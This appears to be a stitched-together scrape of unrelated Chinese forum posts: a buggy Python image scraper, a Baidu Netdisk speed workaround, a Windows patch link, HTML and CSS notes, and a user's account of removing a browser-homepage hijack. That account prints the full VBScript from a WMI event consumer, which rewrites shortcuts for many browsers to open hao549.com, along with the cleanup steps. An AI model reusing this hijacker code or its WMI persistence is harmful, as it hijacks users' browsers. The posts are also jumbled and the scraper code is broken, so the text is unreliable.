
这是源代码
# coding=utf-8
import re
import sys
import time
import requests
from lxml import etree
import importlib
importlib.reload(sys)
# 定义一个爬虫
class spider(object):
def __init__(self):
print('开始爬取内容。。。')
# getsource用来获取网页源代码
def getsource(self, url):
html = requests.get(url)
return html.text
# changepage用来生产不同页数的链接
def changepage(self, url, total_page):
if re.search('index_(\d+)', url, re.S):
now_page = int(re.search('index_(\d+)', url, re.S).group(1)) # 可修改
else:
now_page = 0
page_group = []
for i in range(now_page, total_page + 1):
link = re.sub('index_\d+', 'index_%s' % i, url, re.S) # 可修改
page_group.append(link)
return page_group
# getpic用来爬取一个网页图片
def getpic(self, source):
selector = etree.HTML(source)
pic_url = selector.xpath('//ul[@class="ali"]/li/div/a/img/@src') # 可修改
return pic_url
# savepic用来保存结果到pic文件夹中
def savepic(self, pic_url):
picname = re.findall('(\d+)', link, re.S) # 可修改
picnamestr = ''.join(picname)
i = 0
#------------------------------------------下面这段没有执行!!!-----------------------------------------
for each in pic_url:
print('now downloading:{}'.format(each))
pic = requests.get(each)
fp = open('pic\\' + picnamestr + '-' + str(i) + '.jpg', 'wb')
fp.write(pic.content)
fp.close()
i += 1
# ppic集合类的方法
def ppic(self, link):
print('正在处理页面:{}'.format(link))
html = picspider.getsource(link)
pic_url = picspider.getpic(html)
picspider.savepic(pic_url)
if __name__ == '__main__':
start = time.time()
url = 'http://www.baidu.com/' # 可修改
picspider = spider()
all_links = picspider.changepage(url, 3) # 可修改
for link in all_links:
picspider.ppic(link)
end = time.time()
print('耗时:{}'.format(start - end))

http://api.bilinerju.com/resourc ... .jsp?companyId=3981
需要弄一个类似的西,鄙人完全是个新手,请问有什么办法能做出来

现在提供一个比较安装可行的补丁给大家,整个过程只需要双击运行后重启即可。
这个补丁不捆绑软件,不安装其他助手、卫士等软件。
方便企业内网用户和不喜欢,也不懂折腾的朋友。
地址:https://pm.myapp.com/invc/xfspeed/qqpcmgr/download/QMWCTool.exe
支持以下系统的补丁
- Windows XP(32位系统);Windowsserver 2003(32位系统);Windowsserver 2003(64位系统);Windows Vista(32位系统);Windows Vista(64位系统);Windows 2008(32位系统);Windows 2008(64位系统);Windows7(32位系统);Windows7(64位系统);Windows 2008 R2(32位系统);Windows 2008 R2(64位系统);Windows8.1(32位系统);Windows8.1(64位系统)

当你打开百度网盘下载东西只有10kb时 你会摔键盘还是砸鼠标?
我选择对开发者的母亲致以最真挚的问候
--------------------------------------------------
不扯淡了 下载速度10kb是因为你使用过破解版百度云被百度加入了黑名单
不信?换个账号或退出账号试试~
--------------------------------------------------
百度爸爸 我不用破解版还不行么 只求500kb的速度。。。
用别人的东西 有时候不得不低头啊
百度用户服务中心-百度网盘-用户反馈
申诉。。你又没干什么违法的事 别慌
选择“百度网盘PC版”
然后尽情地倾诉你的不满吧 最好写的无辜点 重点带上“这个账号下载速度很慢 换个其他账号又变正常”的意思
-----------------------------------------------------
过个两三天 就会有反馈了 我等了三天→_→
大概是说些什么反映已提交啊 会不断改善啊之类的客套话
你再登陆百度网盘时速度应该会恢复正常了(最好不要再登破解版了)
-----------------------------------------------------
我本人是这么成功解决了 你们行不行我也没法保证
毕竟知道的人多起来后...你懂的
-----------------------------------------------------
写给给无法解除10kb诅咒的人:
1.转存小号
2.使用idm aria2c之类多线程下载软件(解析地址时注意使用文件分享→退出账号进行下载)

今天公司财务主管突然问我一个浏览器主页被修改的问题 说找了网管哥们看过了还是没解决
我过去看了一下 财务电脑里除了IE还安装了两个浏览器 UC和360浏览器 快捷方式都被添加了hao549的指向
这里赞一下UC浏览器 因为是UC浏览器主动弹出主页被恶意修改的提示窗 这个问题才被重视起来
同时鄙视一下360安全卫士和金山毒霸,当时财务电脑里这两款软件都正常运行且升级到最新版本 结果是完全无用……
好了 闲话少叙 开始解决问题
经过网络资料搜索 看到木子李的Blog提到过类似的问题了 原因是通过WMI定时发起的脚本给所有浏览器添加了域名指向
按图索骥下载了WMITool软件 点击左上角register for events,弹出Connect to namespace框,填入“root\subscription”
点击左侧_EventFilter:Name="unown_filter",再至右侧右键点击ActiveScriptEventConsume r Name="unown",右键选择view instant properties
查看ScriptText项…… 结果…… 结果没有发现文章中那段VBScript…… 到底是什么情况???
没办法 动用Process Monitor工具追踪了浏览器图标 结果发现确实是有脚本打开了scrcons.exe 跟文章中提到的情况雷同 看来是别的WMI
最后几番查找,终于在root\CIMV2里面揪出了真凶
缘来是在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下
找到ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”
最后是在ScriptText中找到如下代码:
[mw_shl_code=javascript,false]On Error Resume Next:Const link = "http://hao549.com/?r=v&m=4":Const link360 = "http://hao549.com/?r=v&m=4&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\tiand\Desktop,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\tiand\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:[/mw_shl_code]
排版后如下:
[mw_shl_code=javascript,true]On Error Resume Next
Const link = "http://hao549.com/?r=v&m=4"
Const link360 = "http://hao549.com/?r=v&m=4&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\tiand\Desktop,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\tiand\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")
For Each browser In browsersArr
oDic.Add LCase(browser), browser
Next
lnkpathsArr = split(lnkpaths,",")
Set oFolders = CreateObject("scripting.dictionary")
For Each lnkpath In lnkpathsArr
oFolders.Add lnkpath, lnkpath
Next
Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")
For Each oFolder In oFolders
If fso.FolderExists(oFolder) Then
For Each file In fso.GetFolder(oFolder).Files
If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
Set oShellLink = WshShell.CreateShortcut(file.Path)
path = oShellLink.TargetPath
name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
If oDic.Exists(LCase(name)) Then
If LCase(name) = LCase("360se.exe") Then
oShellLink.Arguments = link360
Else
oShellLink.Arguments = link
End If
If file.Attributes And 1 Then
file.Attributes = file.Attributes - 1
End If
oShellLink.Save
End If
End If
Next
End If
Next[/mw_shl_code]
呼~终于找到了 然后以管理员身份运行WMITool程序(wbemeventviewer.exe)进入root\CIMV2 删除恶意脚本
最后把几个浏览器的快捷方式跳转链接删除 问题解决
一个老问题 费这么大劲才解决 请坛里的大神笑笑就好 谢谢大家了

HTML 语言中的超链接代码 是 什么?求解答,不是程序员,网上暂时没搜到。#28x希望知道的人给我讲解一下。#7086!
我会给予帮助的小伙伴一点宅币什么的以表谢意。@@28!!

各位小伙伴在css中是不是会因为某个地方因优先级不够导致页面不完美而苦恼呢
从现在开始就解决了
在某样式后+“!important”
可以将这个样式的优先级设为最高
哪怕你内联,内部,都不能比我优先级高了
哈哈哈

CSS常见属性
文字属性font-style
- 作用: 规定文字样式
- 格式: font-style: italic;
- 取值:
- normal : 正常的, 默认就是正常的
- italic : 倾斜的
- 快捷键:
- fs font-style: italic;
- fsn font-style: normal;
- 作用: 规定文字粗细
- 格式: font-weight: bold;
- 取值:
- 单词取值:
- bold 加粗
- bolder 比加粗还要粗
- lighter 细线, 默认就是细线
- 数字取值:
- 100-900之间整百的数字
- 单词取值:
- 快捷键
- fw font-weight:;
- fwb font-weight: bold;
- fwbr font-weight: bolder;
- 作用: 规定文字大小
- 格式: font-size: 30px;
- 取值: px(像素 pixel)
- 快捷键
- fz font-size:;
- fz30 font-size: 30px;
- 作用: 规定文字字体
- 格式: font-family:”楷体”;
- 取值: 各种字体名称
- 快捷键:
- ff font-family:;
- 注意点:
- 如果取值是中文, 需要用双引号或者单引号括起来
- 设置的字体必须是用户电脑里面已经安装的字体
- 缩写格式:
- font: style weight size family;
- 例如:
- font:italic bold 10px "楷体";
- 注意点:
- 在这种缩写格式中有的属性值可以省略
- sytle可以省略
- weight可以省略
- 在这种缩写格式中style和weight的位置可以交换
- 在这种缩写格式中有的属性值是不可以省略的
- size不能省略
- family不能省略
- size和family的位置是不能顺便乱放的, size一定要写在family的前面, 而且size和family必须写在所有属性的最后
- 在这种缩写格式中有的属性值可以省略
颜色属性
|
http://bbs.520it.com/forum.php?mod=viewthread&tid=2418